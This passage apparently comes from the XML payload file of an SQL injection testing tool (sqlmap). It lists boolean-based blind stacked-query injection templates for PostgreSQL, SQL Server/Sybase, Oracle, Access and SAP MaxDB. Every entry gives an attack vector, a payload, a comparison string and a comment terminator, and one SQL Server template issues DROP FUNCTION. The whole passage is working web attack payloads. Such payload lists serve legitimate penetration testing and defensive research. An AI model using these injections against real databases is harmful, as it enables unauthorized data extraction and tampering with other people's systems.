            <comparison>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 1/(SELECT 0) END)</comparison>
1483
        </response>
1484
        <details>
1485
            <dbms>PostgreSQL</dbms>
1486
        </details>
1487
    </test>
1488

1489
    <!-- Because of the syntax of GENERATE_SERIES() function, the 'then' condition must be 1, do not change it -->
1490
    <test>
1491
        <title>PostgreSQL boolean-based blind - Stacked queries (GENERATE_SERIES)</title>
1492
        <stype>1</stype>
1493
        <level>5</level>
1494
        <risk>1</risk>
1495
        <clause>1-8</clause>
1496
        <where>1</where>
1497
        <vector>;SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1</vector>
1498
        <request>
1499
            <payload>;SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1</payload>
1500
            <comment>--</comment>
1501
        </request>
1502
        <response>
1503
            <comparison>;SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 0 END) LIMIT 1</comparison>
1504
        </response>
1505
        <details>
1506
            <dbms>PostgreSQL</dbms>
1507
        </details>
1508
    </test>
1509

1510
    <test>
1511
        <title>Microsoft SQL Server/Sybase boolean-based blind - Stacked queries (IF)</title>
1512
        <stype>1</stype>
1513
        <level>3</level>
1514
        <risk>1</risk>
1515
        <clause>1-8</clause>
1516
        <where>1</where>
1517
        <vector>;IF([INFERENCE]) SELECT [RANDNUM] ELSE DROP FUNCTION [RANDSTR]</vector>
1518
        <request>
1519
            <payload>;IF([RANDNUM]=[RANDNUM]) SELECT [RANDNUM] ELSE DROP FUNCTION [RANDSTR]</payload>
1520
            <comment>--</comment>
1521
        </request>
1522
        <response>
1523
            <comparison>;IF([RANDNUM]=[RANDNUM1]) SELECT [RANDNUM] ELSE DROP FUNCTION [RANDSTR]</comparison>
1524
        </response>
1525
        <details>
1526
            <dbms>Microsoft SQL Server</dbms>
1527
            <dbms>Sybase</dbms>
1528
        </details>
1529
    </test>
1530

1531
    <test>
1532
        <title>Microsoft SQL Server/Sybase boolean-based blind - Stacked queries</title>
1533
        <stype>1</stype>
1534
        <level>4</level>
1535
        <risk>1</risk>
1536
        <clause>1-8</clause>
1537
        <where>1</where>
1538
        <vector>;SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)</vector>
1539
        <request>
1540
            <payload>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)</payload>
1541
            <comment>--</comment>
1542
        </request>
1543
        <response>
1544
            <comparison>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)</comparison>
1545
        </response>
1546
        <details>
1547
            <dbms>Microsoft SQL Server</dbms>
1548
            <dbms>Sybase</dbms>
1549
        </details>
1550
    </test>
1551

1552
    <test>
1553
        <title>Oracle boolean-based blind - Stacked queries</title>
1554
        <stype>1</stype>
1555
        <level>4</level>
1556
        <risk>1</risk>
1557
        <clause>1-8</clause>
1558
        <where>1</where>
1559
        <vector>;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL</vector>
1560
        <request>
1561
            <payload>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL</payload>
1562
            <comment>--</comment>
1563
        </request>
1564
        <response>
1565
            <comparison>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL</comparison>
1566
        </response>
1567
        <details>
1568
            <dbms>Oracle</dbms>
1569
        </details>
1570
    </test>
1571

1572
    <test>
1573
        <title>Microsoft Access boolean-based blind - Stacked queries</title>
1574
        <stype>1</stype>
1575
        <level>5</level>
1576
        <risk>1</risk>
1577
        <clause>1-8</clause>
1578
        <where>1</where>
1579
        <vector>;IIF([INFERENCE],1,1/0)</vector>
1580
        <request>
1581
            <payload>;IIF([RANDNUM]=[RANDNUM],1,1/0)</payload>
1582
            <comment>%16</comment>
1583
        </request>
1584
        <response>
1585
            <comparison>;IIF([RANDNUM]=[RANDNUM1],1,1/0)</comparison>
1586
        </response>
1587
        <details>
1588
            <dbms>Microsoft Access</dbms>
1589
        </details>
1590
    </test>
1591

1592
    <test>
1593
        <title>SAP MaxDB boolean-based blind - Stacked queries</title>
1594
        <stype>1</stype>
1595
        <level>5</level>
1596
        <risk>1</risk>
1597
        <clause>1-8</clause>
1598
        <where>1</where>
1599
        <vector>;SELECT CASE WHEN [INFERENCE] THEN 1 ELSE NULL END</vector>
1600
        <request>
1601
            <payload>;SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE NULL END</payload>
1602
            <comment>--</comment>
1603
        </request>
1604
        <response>
1605
            <comparison>;SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE NULL END</comparison>
1606
        </response>
1607
        <details>
1608
            <dbms>SAP MaxDB</dbms>
1609
        </details>
1610
    </test>
1611
    <!-- End of boolean-based blind tests - Stacked queries -->
1612
</root>
1613

1614
Product

Resources

Company
